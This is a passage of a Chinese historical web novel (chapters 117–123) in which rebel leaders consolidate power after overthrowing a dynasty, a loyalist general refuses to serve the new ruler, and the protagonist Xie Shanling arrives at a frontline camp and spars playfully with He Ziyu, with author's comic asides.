顾望笙道,“只是若划江而治使国土分裂,那我们就是全天下的罪人了,这是不可能的。更何况,无论我是否断袖,有否子孙后代,我都不想再让顾氏血脉继承大统,否则,如此一来前面白忙,好好儿一场起义,改朝换代,结果却成了大梁的夺嫡内斗,岂不可笑?” “站在宋淮安一方,他也不愿失了我与他之间的道义,而且他也明白我的意思,因而坚持先由我来当皇帝,将来或传位给他,或传给他的孩子,都可以。那是之后的事了。” “我和宋淮安的情况有目共睹,除了顾家那些余孽可能会痴心妄想地反对,其他人没必要凑这热闹。顾家余孽我们自会整治好,让他们活着就不错了,若想作乱,我可和他们没有亲戚感情,下手不会客气。” 这些谢善淩自然想得到,然而……他想了又想,看顾望笙一眼,还是说了。 “你若真正坐上那个位置……”话说到一半却又有些后悔,觉得冒昧了顾望笙,有些愧疚地看他。 顾望笙却很坦荡:“你会这么想是人之常情,倒是我确实无法证明将来的事。” “不,我……” 顾望笙握住他的手,宽慰道:“无妨,你我交心,你肯将顾虑告诉我,我不会觉得是你不信任我。说起来,以你性情肯为这事担忧,不过是因为你爱我,否则你哪肯费这劲?我是高兴的,只是又舍不得你不高兴。” 顾望笙一向懂自己,只是每每多一次地印证此事,谢善淩都会多一次沦陷其中,心里说不出的悸动。 半晌,谢善淩叹道:“你怎么这么好?” 顾望笙笑道:“我哪有你好?我烦你叫你,每一声你都应,都没有不耐烦。” 谢善淩好笑地哼了一声。 顾望笙亲他嘴一下:“我三岁就与你有婚约,你我这一生都是夫妻,何况还真心相许,情投意合,谁也离不开谁。我们永远都会在一起,只有彼此。” “……肉麻。”谢善淩嘀咕道。 顾望笙拆穿他:“你明明就很喜欢听肉麻话。” 谢善淩为自己争面子,嘴硬挑刺:“才没有……看人的。我又不是谁说肉麻话都喜欢听。” 顾望笙赶紧附和:“是我说错了,我不严谨。你当然是要看人来,只有我说肉麻话你才喜欢听。我输了。” 他认输的态度良好,谢小少爷就高抬贵手不和他计较了,只又傲气地哼了一声。 作者有话要说: 今天还有更 第118章 ◎孙瑛淡淡道:“其他人如何我管不了,我是绝不做两朝之臣。”◎ 平复京畿的进程比设想中还要顺利。一则是早在暗中有准备, 拿捏住了要害地方;二则便是昏君硬要娶谢善淩一事实在是过于震撼人心。 但也“多亏了”老不死的那一通宣传,众人原本对谢善淩的真凰命格就已经半信半疑,封后大殿那日又天生异象,加上顾望笙推波助澜, 一传十, 十传百, 这事儿已然落定。 顾望笙故意拽着谢善淩出双入对形影不离,观察到众人对此俨然已经接受的样子, 便得意起来,道:“这下你安心了吧, 没人会反对我立你为后。” 谢善淩淡淡道:“先别得意,他们或许不反对这个, 可若你不册妃,就该他们登场了。” “到时再说。”顾望笙哼笑道,“等我坐稳了, 看他们要怎么做我的主。” 这事儿便不再提,继续忙于正事。 京畿已定,外头却是乱糟糟的, 尤其是水城那里。宋淮安还被堵着, 顾望笙尝试着发令给孙瑛,让他调转立场和宋淮安一起剿灭豲戎援军,孙瑛却不听令。 但孙瑛没把话说死。他提出,若顾望笙非要篡位登基也行,必须是大梁的君主,不得另立新朝, 这样他就仍是大梁的武将, 就认这个新主。 顾望笙虽欣赏他, 却也有点烦他了,拎着他的亲笔信指指点点:“就没见过他这么死脑筋的玩意……顾景胜是他亲爹还是他亲娘啊?从前他就说是司马忠良对他有知遇之恩不能背叛,可我后来看顾裕骐干掉司马忠良了他也一个屁都没放啊!不和顾裕骐关系挺好吗?怎么到我这儿就死活说不通了?他是不是就是单纯的不服我?” 谢善淩都被他说笑了,拍拍他背以示安慰,随后认真了几分神色,道:“无论他如何做,终究是值得钦佩的一个人。留他家人的命吧。” 顾望笙恼归恼,闻言不假思索地点头叹道:“我也这样想。因而我都没打算骗他说我会答应延续大梁,先哄他打豲戎。” “这份情义不会毫无用处,且不管孙瑛如何想,别人看在眼中自由说法。一些人表面上归顺,心中还是不安,仍在张望你是怎样的人,会怎样对待别人。先前你装得太好,一朝变身,其实挺让人害怕,觉得你太深不可测。”谢善淩道。 顾望笙一顿,微微挑眉,看着谢善淩促狭道:“你更深不可测。” 谢善淩愣了下,看他神情知道他在揶揄自己,可一时没想到这话怎么揶揄了……突然反应过来,毫不犹豫地使劲儿打他两下以示恼羞成怒。 …… 顾望笙给孙瑛回了一封信,心中坦言告知,自己会改国号,不会延续大梁国祚,料想他会为光复大梁而反,虽立场不同,却到底敬他,不会为难他的家眷,甚至,只要他不与豲戎勾结,那他将家眷接走团聚也行。来日双方免不了战场上再遇,到时各凭本事,不必多说。 孙瑛将这封信反反复复地看了十来遍,竟不由眼中酸涩湿润起来。 他弟弟亦是他的副将,此刻在他身边,见兄长如此鲜见的模样,还以为是新君杀了家中人泄愤,不由大骇,抢过信一边看一边正要悲愤发言为家人报仇,突的话吞了回去,不可置信地看了又看。 “这……这……”孙杰想了又想,狐疑道,“莫非是装出来哄骗我们?” 孙瑛摇摇头,长叹一口气,许久低声道:“造化弄人……他是明主,可我食大梁俸禄,是大梁的臣。” 孙杰欲言又止,最终沉默。 兄弟俩相对无言了许久许久,孙瑛道:“我不打算接我的媳妇和子女来,将来我做的事是以卵击石,我心中有数。你的媳妇和子女要不要接,你自己做决定。” 孙杰犹豫着问:“父亲和母亲呢?” 孙瑛又沉默了一阵,说:“他们都老了,不宜长途跋涉,别动了吧。” 孙杰便知道,他这是有取死之心,不由道:“若明知是以卵击石,又何必……”话到这里突的停住不敢再说,怯怯看兄长的脸色。 孙瑛却没发火,朝他说话的语气和神态都非常和气。“你说得有理。所以你是去是留,慎重考虑吧。”孙瑛道。 孙杰忙要解释,刚张嘴就被孙瑛阻止:“不必多说,我不是试探你,而是真任你去留,你如今也是为人父的人了,我虽是你长兄,却不能在这种事上代你做决定。顾……秦青是个好对手,抛去各自立场,我亦钦佩和认可他。你若要投他而去,我不会阻止,将来家里人我照顾不了,你替我多照顾。你嫂子……我会给她一封和离书,她若留下,你便不要声张,替我养着她和孩子们,若她要走,你别拦阻,除了她的嫁妆,把我的财产也分一半给她,和她好好解释,不能全给她,因为还有爹娘和孩子们……” 这已是托孤之言,孙杰含泪打断他的话:“哥!既如此,你就别反了吧!大局已定,太子都逃了,你还这样做什么?!何况先前皇帝委实昏庸过分……” 孙瑛淡淡道:“其他人如何我管不了,我是绝不做两朝之臣。” “大哥……” “不必多说。”孙瑛摆手制止他,“你好好想吧,但别想太久。” 兄弟二人正说话间,有人来报,说豲戎军派了人来递话。 孙瑛让把人带过来,面对使者他的态度并不凶狠,平静道:“先前与豲戎联手是因为我主的命令我不可违,实则我对豲戎并无亲近。如今我主大势已去,我不会再和豲戎合作,你请回吧,不要再遣人来,我不见。” “孙将军这又是何必?既然反了,就反彻底。”使者劝道。 第119章 ◎将灵冷笑道,“他们想让我们死,我们得拉他们垫背。”◎ 孙瑛冷笑了一声:“我反是因我乃大梁旧臣, 我不与豲戎勾结,因我是大梁旧民!” 使者无话可说,半晌长叹一声气,转身走了。 …… 军营帐里, 几个人正在用豲戎语言激烈讨论。 “孙瑛不和我们和手, 我们怎么逃离这里?据报回途中那些地方几乎都已经声明归顺秦青!难道一路打回去?回到王城恐怕也不剩人了!” “现在还有别的办法吗?” “我都怀疑这是他们中原人勾结在一起故意坑我们……”说话这人暗暗地瞥了眼一直没说话的将灵。同伴急忙给他使了个眼色, 示意他别在这时候得罪对方。 将灵却没露出恼怒的样子,平静道:“当初和大梁结盟, 没见人反对,都以为这是一件大好事, 个个抢着来。战事本就无常,如今失利, 黑锅却都甩给我?” “他不是那意思……”有人劝和,“现如今说这些都没用,还是集中力量想想离开这浑水的方法。” 将灵看了他一眼:“当初是为了南郡而来, 索性打下去,也算不忘初心。” 先前那人有些不耐烦,道:“怎么打?” “该怎么打怎么打。我一面让人继续搜捕顾裕骐, 只要逮到他, 孙瑛还是只能任我们支配。”将灵说。 那人不可思议道:“将灵,事到如今你还不了解那个孙瑛?恐怕我们打起来他会打我们!他自称大梁旧民,我们去打白龙军他不会说什么,可以我们的战略作风一定会伤及大梁百姓,孙瑛他会放着不管吗?” 将灵反问:“那你说我们还能怎么做?” 众人面面相觑了一阵,那人轻声道:“试试求和。” “笑话!”将灵立刻道。 这人越发被将灵的态度激怒:“到了现在我们早已经是笑话了!如果不是你——” 一枚暗器击中他的锁骨处, 他身体一震, 闷声呕出一口血来。 伙伴急忙扶他, 不敢怒也不敢言地相互使着眼色,偷偷看将灵。 将灵连夜赶路来到这里,来了之后也鲜少休息,一双眼睛熬得通红,血丝遍布,眼底乌青,神情颓然又疯狂。 他的语气依旧温和,但在已经出手了的前提下,这温和就显得越发可怕。“我说了,有好处的时候大家都抢,那么现在就别把黑锅甩到我一个人的头上。”他说。 众人不再言语。 将灵缓了缓,道:“其实你说得也有道理,只是太惊慌无措,看岔了事。我们要南下就得先打下水城,也就是打宋淮安那波人。如你所说,我们打白龙军,孙瑛不会帮他们。等我们打下水城之后,先坐稳。孙瑛不可能一直待在这里,他肯定很快就要启程离开,去找他亲近的地方作为日后根据。我们和孙瑛不会撞上。” “至于宋淮安……他不擅打仗,秦青不可能现在来到这里坐镇。我们若殊死一搏,退一万步即便最后败了,也是和宋淮安两败俱伤。”将灵冷笑道,“他们想让我们死,我们得拉他们垫背。” 作者有话要说: 宋淮安:咳咳咳咳咳咳咳咳[摊手][问号][白眼][愤怒] 第120章 ◎“我听秦青说你仰慕我。”◎ 宋淮安比前段时间好多了, 可仍旧见风就咳,脸色苍白。 此时已是深夜,诸人散去休息,他依旧坐在灯下借着昏黄的灯看沙盘, 眉头紧锁, 断断续续地发出有些粗重的喘息声, 似乎连呼吸都很艰难。 贺子煜忧心忡忡:“这可怎么办?谢小少爷算无遗策,怎么就让将灵跑了?还跑我们这儿来了。否则豲戎援军只想着撤离, 你也不必这么……” 宋淮安淡淡道:“他不是算出来将灵会跑吗,往哪跑都说了, 派去埋伏追杀却办事不力的人是我们派去的。” 更确切来说,是贺子煜管下的人。看在他父母的面子上, 宋淮安尽量对他婉转一些。 然而有些事不能太婉转,那就有些慷他人之慨了。 宋淮安轻叹一口气,转头看着贺子煜:“谢公子是秦青的心爱之人, 更是义军举事成功的大功臣,以秦青性情必会排除万难立他为后,这是必然发生的事实。” 贺子煜神情不太自然, 目光闪烁了一阵, 欲言又止。 “而且他很专一,无论男女我想都不会再纳,因而旁人不要有不该有的心思,都是徒劳。” 宋淮安怕他惹出祸事来,不得不说得这样直接。 若贺子煜得罪秦青本人还好,秦青看着冷淡, 其实脾气很好, 心胸比自己宽阔。然而若得罪的是谢思玄, 事儿就不好说了。 一来,宋淮安还不够了解谢思玄,看这人性情刚烈,对待其他仇家锱铢必较,他倒不是觉得这不好,他自己也如此,只是不知谢思玄对贺子煜会不会也如此; 二来,无论谢思玄如何,秦青肯定会生气。 以前贺子煜就常常去故意调侃秦青,一直无事,直到上回,贺子煜又说几句,不料就把人给说急眼了,当众给了贺子煜个下不来台。 宋淮安找人细问过当时情况,哭笑不得。却也因此知道秦青有多在意。 贺子煜听懂了表哥近乎明示的暗示,眼圈一红,不服气道:“可是……” 宋淮安打断他的话,说:“没有可是,感情之事没有先来后到,即便有,秦青三岁和谢公子定亲,当时便已经认定了对方。” 贺子煜沉默了一阵,正要说话,外头传来声音求见。贺子煜看看表哥神色,整理了一下表情,走过去门口掀开门帘问:“什么事?” 来人道:“谢公子持秦将军兵符与密信前来,正在营门外等候。” 宋淮安原本坐着没动,甚至没看这边,闻言一怔,抬头看过来,下意识地起身。 贺子煜一时之间没反应过来:“什么谢公……谢善淩?!” 小兵点了点头:“是。他自称谢善淩。” 小兵并不知临江仙,更不知谢善淩,只是对方手持兵符密信要见宋淮安,又生得俊俏非凡、气质脱俗,言谈礼貌、举止坦然,自有一番气度,他便客气地请人暂等,立刻来报。 “我去接他。”宋淮安说着已经朝门口走来。 贺子煜急忙拦他:“哥你不能吹风,这大半夜的更凉,我去接他吧!” “我怕你得罪他。”宋淮安说。 “……不会!”贺子煜脸上一热,“我哪会这么不顾大局?” “最好是。”宋淮安的表情很严肃,如今大事已成,当着门口小兵的面也可以谈起一些辛密——或者说,是故意让人听见——他警告贺子煜,“谢公子不止是秦青的夫人,更是临江仙,若没他,义军还不知要多牺牲多少弟兄人命,你一定要以礼敬重,否则不用等秦青,我也会处置你。” 小兵还在震惊地寻思“秦青的夫人”这里面“秦青”是不是自己知道的那个秦青、刚刚见着的“夫人”有几分像女扮男装,贺子煜反复深呼吸,咬着牙道:“我知道!” * 谢善淩等待的时候没闲着,透过营门栅栏不动声色地观察着营地的安防,秩序颇为井然。 守夜人的精神很足,举止比起上回在黔阳城所见又正规许多。此时已是深夜,营地内很安静,没有嬉闹声音,帐篷大多熄着灯,大概都在好好休息。颇成个体统。 他很是欣慰,看了一会儿,转头仰起脸看天象推算近日的天气,目光却不由自主地总被格外耀眼闪烁的紫微星和太阴星吸引过去。 难道那个什么真凰命格是真的……不过无论真假,对他而言都不重要。 听到身后传来脚步声,谢善淩回过神来,转身就见到了宋淮安。两人相视一笑,谢善淩客气地朝他拱手道:“宋兄别来无恙。” 宋淮安急忙还礼:“怎么突然你来了……快进去说话。” 说着不忘对旁边诸人介绍道:“这位是谢思玄谢大人,暗中为义军谋划许多,因而义军才一路凯歌,往后他在军中就如我与秦将军一般地位,不必对他设防,若他有任何吩咐,不必问我,照办便是。” 众人一惊,纷纷再度看向这个瞧着很是文弱却很沉静的漂亮男子,还没完全反应过来,但已经身体快一步地郑重行礼。 谢善淩并不推拒,点点头便随宋淮安而去。 进到营帐之中,谢善淩看了眼一直跟着的与宋淮安有几分面容相似的男子,宋淮安这才引荐道:“这是贺子煜,我表弟。” 谢善淩的态度不热络也不冷漠,淡淡的,说:“猜到了,秦青和我提起过。” 贺子煜心中一动,有些好奇和期待,原本打定主意不理会这人,此刻却忍不住问:“秦哥哥说了我什么?” 谢善淩:“他说你是宋兄的表弟,与他同龄。” 贺子煜:“……” 宋淮安轻轻地咳嗽一声,正要叫表弟出去,省得在这儿自己找不痛快,表弟道:“对,我和他同龄……哈,我和秦哥相识多年,是再铁不过的兄弟,你与他的关系我知道,你这儿有什么事尽管找我。你初来乍到,许多人不熟你,可能会不服,你找我就是。” “多谢好意……”谢善淩似有些欲言又止,但暂且只朝向宋淮安道,“先说正事要紧。” 最好只说正事,别管贺子煜这拎不清的……宋淮安心中如此暗道,面上若无其事点头。 谢善淩不再废话,开门见山:“此次前来是为围剿豲戎军。非但不能让他们夺走水城南下,就算他们想逃回豲戎,也是痴心妄想。” 宋淮安想了想:“有你亲自前来相助,我自是多了点信心,可我们与豲戎军之间的实力依旧有些悬殊……他们太过彪悍,人数也不少,何况还有那个将灵亲自坐镇,想必会疯狂攻杀。” 谢善淩点点头,道:“此趟陈贤直与我同来,他和孙瑛有点交情,意气相投,如今他在孙瑛军营里,若能劝服最好,若不能,至少能留下一部分孙军战力协助我们。” 贺子煜低声道:“我们劝降过孙瑛多少次,他这人不可能的……” 谢善淩看向他和气道:“立场不同,他一直视义军为敌,恐怕都没多考虑便拒绝了。可陈贤直与他同出一系,说得上话。” 贺子煜点点头,没多说。 谢善淩收回目光再度看向宋淮安:“天亮应该就会有消息传来,现在夜深,宋兄旧伤不曾痊愈,先歇吧。我赶路而来,其实也有点困了。” “哦!我叫人去将秦青的营帐收拾下。”宋淮安忙道。 谢善淩道:“不必劳动别人了,我自己收拾下且睡一晚罢了。” 宋淮安笑起来:“也好。其实秦青平时自个儿都拾掇得干净。我送你过去……” 贺子煜突然插嘴:“我送吧,哥你歇着。” 宋淮安略带警告的眼神看向他,却听到谢善淩道:“也好。” “……”宋淮安想了想,给谢善淩一个眼神,“子煜他……” 谢善淩笑笑:“无妨,我有些话想和他说。” 宋淮安只得点点头,然后又警告了表弟一眼。贺子煜讪讪的,心中提防起来,带着谢善淩出去,一路上没说什么,到了秦青的营帐里,他不冷不热道:“谢少爷要和我说什么?” 谢善淩不急不慢地打量了一圈帐内,这才看向他,微笑道:“我听秦青说你仰慕我。” “……啊?” 120-130 第121章 ◎谢善淩说道:“贺兄,你对我真好。”◎ 贺子煜一时傻了眼, 还没反应过来,谢善淩笑着说:“是误会吧?看着不像。” 贺子煜警惕地看着谢善淩,不知对方究竟想说什么。这当然是误会!但是若解释起来恐怕会怪怪的……半晌才挤出一句:“他怎么会这么说……” 谢善淩一脸无辜:“不知道,忽然发疯, 说你言语之间对我极为亲热推崇, 暗示他年纪大了配不上我。他说你是宋兄的表弟, 模样俊秀,看起来比他年轻, 能说会道,唯恐我此行移情别恋。” 贺子煜目瞪口呆, 许久没能说出一个字来。 谢善淩叹了声气:“我当时就骂了他一通。” 贺子煜惊诧看他:“你、你骂他……” 谢善淩正色道:“当然要骂!他爱吃醋也就罢了,怎可胡乱吃到自家弟兄的身上?你是宋兄的表弟, 我是有家室的人,你怎会对我有那样的意图?秦青这不是在胡言乱语吗?我听到了还好,倘若别人听到了会如何想贺兄你?又会如何想宋兄?” “这……” “何况如今新朝初定, 各方局势不稳,若被有心人瞧出端倪,钻孔而入, 岂不是离间我们的大好时机?”谢善淩叹道, “你们多年的基业,竟要被人从这样一件无稽之谈里钻出空档毁了吗?” 贺子煜嗫嚅半晌,讪讪道:“他怎么会那么想……” 谢善淩缓缓语气道:“我当时不在,不知你们究竟是何情况,猜想或许是你说笑罢了。我虽没真正入过兵营,家中兄长行走做事, 偶有耳闻, 都是性情中人, 爱相互调侃。是不是?” “……”被谢善淩盯着看,贺子煜也只好道,“是……当然……” 谢善淩一副“果然如此”的样子,道:“唉,别的事也就罢了,唯独在我的事上秦青的气量很是狭小。但也不能怪他,是从前潘家和将灵他们故意害我名声,传出那些流言蜚语来。男人嘛,自然是忍不了自己的家室与别人纠缠不清。别说秦青了,易地而处,若是我,我也得恼火。” 贺子煜到底不是不要脸的,若真不要脸面,也不会和秦青耗这些年都还扭捏着。先前秦青当面发火他已经思绪良多,如今谢善淩说这一番话,他哪说得出别的来,只能不自在地扭头看着别处憋屈。 谢善淩不动声色观察着他的神态,忽又笑了,拍了拍他肩。贺子煜吓一跳,防备看过来。 “别生秦青的气,他和宋兄多年生死之交,待你也如宋兄一般是当亲弟弟亲厚,换了别人,你想,早当面闹得不可开交了。”谢善淩柔声哄道。 贺子煜悻悻然憋出一句:“我没对你……” “我知道,是误会,秦青自作多情了。”谢善淩笑道。 “……” “话说开了就好,日后低头不见抬头见的,省得尴尬。”谢善淩道。 贺子煜撇了撇嘴,半晌道:“我在军营多年,心思没那么细,没想那么多……” 谢善淩:“那这可不行。” 贺子煜眼中冷光一闪,看着他。 谢善淩恍然不觉,笑道:“将来论功行赏,你莫非不要担当重任?心思不细可不行,想得不多也不行。” 贺子煜的神色软下去,又不知该说什么才好。 谢善淩又拍了拍他的肩膀,道:“多谢你送我来这,时候不早,快去歇息吧,我可自理,若实在有事便叫帐外守夜的人。” 贺子煜咬了咬唇,点点头,朝他抱了抱拳便转身出去了。谢善淩笑了笑,转身走到顾望笙的床边坐下。说是床,就是几块木板搭成,铺了床薄薄的褥子和薄薄的被子。 谢善淩隔着褥子被子用指节叩了叩,都能听到如同敲门一般的声响。 他暗道,怪不得顾望笙总说家里的床很软。顾望笙倒不是不喜欢软床,就是顺嘴说说,但其实谢善淩房里的床已经不算软的了。现在他知道了,原来是有如此对比。 转而又想到,也不知是不是睡多了这木板硬床,所以顾望笙不装的时候总是身形十分俊挺,如同一棵白杨树。 谢善淩正要躺上去,突然听到门口声响,看过去与去而复返的贺子煜对上视线。 “怎么?”谢善淩和气地问。 贺子煜轻咳两声,瞥了眼那床板,嗓音没刚刚那么细柔,带着点儿硬邦邦,说:“军营不比富贵人家,尤其秦青那床看着就硬,我想你应该睡不习惯吧。我让人找两床被褥送来,你先凑合。” 谢善淩道:“多谢,但大半夜的不必为此劳师动众。” 贺子煜淡淡道:“也没劳师动众,总比你睡完腰酸背痛贻误战机好。” “都这么说了,那我就却之不恭了。”谢善淩朝他又笑起来。 贺子煜盯着谢善淩的笑脸看了看,移开目光:“军营里最好的茶叶恐怕也没你家下人喝得好,你也凑合着吧,就这条件,我让人去我哥那拿。别的你还有什么想说?不过丑话说在前头,你说了军营里也不一定有。” 谢善淩说道:“贺兄,你对我真好。” 贺子煜觉得肉麻地皱了皱眉头,接着听到谢善淩嘀咕:“不会真的对我……” 他立刻如同被踩了尾巴的猫一般道:“别和秦青一样胡思乱想!我是因为我哥说……还因为你是临江仙……而且你还能帮我们对付豲戎军……” “逗你的。”谢善淩笑着说。 贺子煜深呼吸一口气,扭头出去叫人办事,然后径直回了自己营帐里气鼓鼓躺下,将刚刚与谢善淩间的来往反复回想,心乱如麻。 第122章 ◎“我对贺兄一见如故啊。”谢善淩满脸真诚地说。◎ 谢善淩谢过送被褥过来还包铺的小兵, 见对方偷偷看自己,便朝他笑了笑。小兵急忙后悔目光,有些不好意思的样子。 “没关系,可以看我。”谢善淩很和气地说。 小兵摸着头嘿嘿笑了两声。 “这么晚了, 麻烦你了。”谢善淩道。 小兵忙道:“不麻烦不麻烦。”想了想道, “秦将军救过我……军师你也救过我和我哥。” 谢善淩微微诧异:“我?”他不记得自己之前见过这人。 小兵肯定地点头, 说:“以前吴堡菏一战凶险,朝廷军人太多, 而且兵器精良,但吴堡菏又必须拿下, 我哥是冲锋队的队长,我也在里面, 本来我们是要用命去填的,但是后来改了战术,我哥说是军师你说的。” 谢善淩想起来了。那是很久以前, 发生在王尨之事前。 其实吴堡菏算不得很难攻克,对现在的白龙义军而言堪称顺手的事儿,但是那个时候不同, 那个时候义军人少, 大多数人作战经验薄弱,而且兵器粮草和没有的差别只在于还是有一点点。 “原来你还是个老兵。”谢善淩调侃道,“看起来年纪还很小。” “嘿嘿……我虚岁才十六不到呢。”小兵虎头虎脑地憨笑。 谢善淩又是一怔,看着他,忽的眼酸起来:“那吴堡菏的时候你岂不是才……” “我十岁不到就跟着秦将军了!”小兵颇为自豪地说,可转瞬便低落下去, 低着头说, “乡里的员外强娶我妹做他的妾, 我家里不肯,员外就来强抢,我哥气不过把人打了回去,对方就买通县太爷把我哥和我爹都抓了,非说他们是江洋大盗,要把他们问斩……是秦将军救了我们,只是我们从此有家归不得……” 谢善淩讶异地说:“你十岁不到的时候,你妹……” 小兵用力握着拳咬着牙说:“才八岁。” “禽兽都不至于此。”谢善淩皱眉道。他看着小兵,问:“那她现在……” 小兵吐出一口气,笑笑说:“我们全家都投了义军,我爹我哥和我当兵,我娘在娘子军那边,我妹妹跟着她,虽然她年纪小,力气也不足,干不了别的活儿,但帮忙缝补东西、做做饭什么的都还是利索。” “先前军师说在闲暇时候教大家识字明理,我妹竟学得很好,比我们都学得快,现如今都开始让她当先生教新学的人啦!” “淮安大人说将来大定之后要普及教育,让穷人家的孩子也都能读书识字儿,到时开办许多学院,我妹若争气,就让她去参与主办!”他的脸上满是自豪的红光,眼里也放着光,“我们家八辈子种地的,不成想,竟要出女先生了!” 谢善淩又是心酸又是欣慰,眼睛湿润,连连点头。 小兵这才注意到他的异样,大惊失色:“谢大人你……你怎么了?!我、我是个粗人,我学得不好,说话没说好得罪了您别见怪……” “不,不是你的错。”谢善淩急忙解释,“我是刚刚听到你家从前的遭遇,气那禽兽不如的员外。” 小兵松了一口气:“吓死我了……” 谢善淩看着他,心知他并不是例外。顾望笙和宋淮安说过,军中许多人,尤其是一开始加入的人里几乎都是被腐朽恶劣的强权逼迫得活不下去的穷苦人家。 只是谢善淩想得太快太远,在为如今的大家终于走出来了而欣慰的同时,不免想到了几十年后几百年后,现在这些受尽压迫而翻身的人自己成了有权势的一方,到那时,他们的子孙后代会不会成为曾经剥削他们的存在,去残害如同曾经他们一样的人? 到那时,祖上的苦难不过是成了后代耀武扬威或顾影自怜的荣耀,而非警示。 ……大概率会是如此。 谢善淩的情绪一下子冷了,头有点疼,呼吸也有点乱。他料想自己是又要发病了,强忍住,若无其事地对小兵道:“多谢你和我说这些。时候不早了,我有点困,改日再聊。” 小兵急忙道:“对不起对不起,我刚刚见大人亲和所以多说了那些……” “无妨,我很高兴你亲近我。”谢善淩朝他笑笑,“你也去休息吧。” 小兵点点头出去了。谢善淩看着他放下帐门,脸上的笑容渐渐淡去,坐在床边低着头看地面,良久,深深地呼吸。 即便顾望笙一再安慰劝说,他始终没有办法止住对百年后的揣测和失落。在义军节节胜利的时候,他心底高兴的同时会弥漫出难以抑制的痛苦。 有时他会想,这或许是自己书读得挺多却天资不足的缘故,因而能看透史书与自然的规律却无论如何都不能坦然地接纳,也就算不得真正的通达,只是愚笨之人。 他反复压抑下心头又涌起的这些情绪,脱去外衣睡下。被子里乍一睡冷冰冰的,而且也闻不到什么顾望笙的气味。有点想。想念顾望笙会用一些力气抱住自己,顾望笙的怀抱总是很温暖的。 不,真的不能再胡思乱想了,再不睡天都要亮了,天亮后还有很多要紧的正事处理,不能没精神。谢善淩这么想着,逼着自己摒除杂念,渐渐终于睡着了。 * 贺子煜如往常一般早起,刚洗把脸清醒,小兵进来说军师问他起得怎么样了。 大清早的,贺子煜的脑子一时没转过来,问:“我哥什么事儿找我?” 他哥有时候事儿也挺多的,不是武将,自诩文人,不喜欢别人叫他将军,叫他首领他又觉得听起来压了秦青一头,不好。秦青自己都不介意他介意。那总得有个称谓吧,具体什么职位不好说,宋淮安什么都管,因而叫他军师的也有。 小兵却说:“是谢军师谢大人。” 贺子煜一怔,本能地又防备起来:“他问我干什么?” 小兵说:“这我就不知道了,没说。” “……行吧。”贺子煜说,“我就过去。” 他想了想,换了身上这套日常衣服,将自己最好的一身行头穿上,比平日更精心地整理了一下仪表,对着铜镜多照了几下,然后匆匆出了营帐,正准备往谢善淩那边去,却不料刚出门就见着了等在不远处的谢善淩。 谢善淩原本正在打量周围,余光瞥到,看了过来,笑吟吟地和他打招呼:“早安,贺将军。” 贺子煜原本整装以待,想着今天输人不输阵,却猝不及防被打乱了阵脚,下意识问:“怎、怎么在这里……我以为你在秦青营帐等我。” 说着看了眼小兵,用眼神质问他怎么不说清楚! 小兵接到眼神,露出恍然大悟的表情:“好像是忘了说!” 贺子煜暗暗深呼吸,走过去问:“这么早找我何事?” 谢善淩笑道:“早起想四处看看,但初来乍到,不敢擅自走远了,怕惹麻烦。刚好走到这里听到里面有起身的动静,一问知道是贺兄你的住帐,想着若你没事,能否请你做会儿向导?” “……可以。”贺子煜矜持道。 谢善淩真挚道:“太感谢了。” 贺子煜看他两眼,不动声色移开了视线,说:“吃过早饭了吗?先说好,军营里没有……” 谢善淩打断他的话,说:“没吃呢,等你一起吃。” “……”贺子煜神色有些怪异看他,语气也很微妙,“等我?” “我对贺兄一见如故啊。”谢善淩满脸真诚地说。 抛开其他不说,贺子煜比谢善淩矮一点,而且贺子煜也不壮。 谢善淩不矮,但无奈身边男子都长得太高,而且谢善淩这些年把自己折腾得十分单薄,与那些高壮汉子站一起显得格外柔弱。就连他贤直兄和泊润贤弟都。 他倒不在意这些,但是话又说回来了…… 贺子煜的嘴角微微抽动了两下,欲言又止,一口气差点儿没提上来,不知道这是什么情况,也不知道自己该如何应对。 半晌,他的声音又硬了几分,说:“哦。”想了想强调说,“只有馒头咸菜和白粥!” “好啊。”谢善淩问,“粥是甜的咸的?我喜欢咸粥。” 贺子煜硬邦邦道:“都不是,糖和盐贵,都不放。” 谢善淩正要说这没事儿,只要不放糖就好,贺子煜扭头冲人道:“告诉伙兵给谢公子粥里放点盐。” “啊,不必……” 贺子煜打断他的话,问:“还要什么?” 谢善淩客气道:“不用不用。和你的一样就好,我其实没你想象的那般养尊处优。” 贺子煜又多看他两眼,心中冷哼。呵,谁信啊,明明一副细皮嫩肉的娇贵样子!那嘴唇连个死皮都没有,这是一个男人该有的嘴唇吗? 作者有话要说: 顾望笙:……@谢善淩,我就问你你干嘛去了?泡贺子煜去了??回答我! 顾望笙:@贺子煜,我就问你你往哪儿看?正常男人看男人是往嘴唇看吗?回答我!你不是说你不暗恋谢善淩吗?回答我! 顾望笙:@宋淮安,你不是说你们家都是直的吗?回答我! 宋淮安:我还真没说过这话。 贺子煜:死身高,再多长点啊! 顾望笙:你要多长点想干嘛[问号] 顾望笙:不管了,别人暗恋谢善淩那也是谢善淩的错,谢善淩我恨你,我不会对你笑了,与此同时我还要狠狠地报复你,你不能拒绝。 第123章 ◎谢善淩追问:“所以贺兄喜欢我吗?”◎ 早饭送来时, 贺子煜频频偷看谢善淩的神情,恐他不满这寒酸。谢善淩只作不知的样子,自然地吃起来,没说不好, 倒也没说好。 贺子煜本不欲主动理会他, 可想来想去忍不住还是问了:“你家里早上吃什么?” 谢善淩似是没想到他会主动搭话, 有些诧异地微微挑眉看过来,看得贺子煜有些恼羞, 正要低头假装刚刚不是自己说话,谢善淩认真答道:“我常爱吃一碗面, 家人各有所好。我祖母喜欢素面,母亲喜欢蒸饺, 二婶和几位姊妹偏好不明显,换着来。” 贺子煜一顿,带着几分寻衅似的问:“你怎么总和女眷混在一起?” 谢善淩笑道:“自幼祖母疼爱我, 常将我带在身边。” 贺子煜顺着话继续挑衅:“怎么就偏偏疼爱你?” 谢善淩的笑意淡了几分,垂眸道:“我是父亲的遗腹子,大约因此, 家中人对我总是多几分怜爱。” 贺子煜:“……” 有的时候不说话没人把你当哑巴。他如此暗骂自己。 看不惯世家小少爷归看不惯, 对方不作恶,反而帮助义军。而且依稀记得谢善淩那早逝的父亲也是个为民的好官,亲自去治灾前线才牺牲。 贺子煜一时呐呐不知如何是好,偷偷去看谢善淩。 也不知对方是终于察觉到了自己的不善,还是单纯被挑起了伤心,脸上神情不再和刚刚一样如有春风, 淡淡的, 甚至有点冷淡, 垂着眼角慢慢吃东西,却好像不是很吃得下了。 “……”贺子煜欲言又止了好几下,没说出话来。 这样尴尬的氛围持续到吃完早饭,贺子煜找话题问他想去哪看看,谢善淩和气地说:“这个时候宋兄应该醒了吧?” 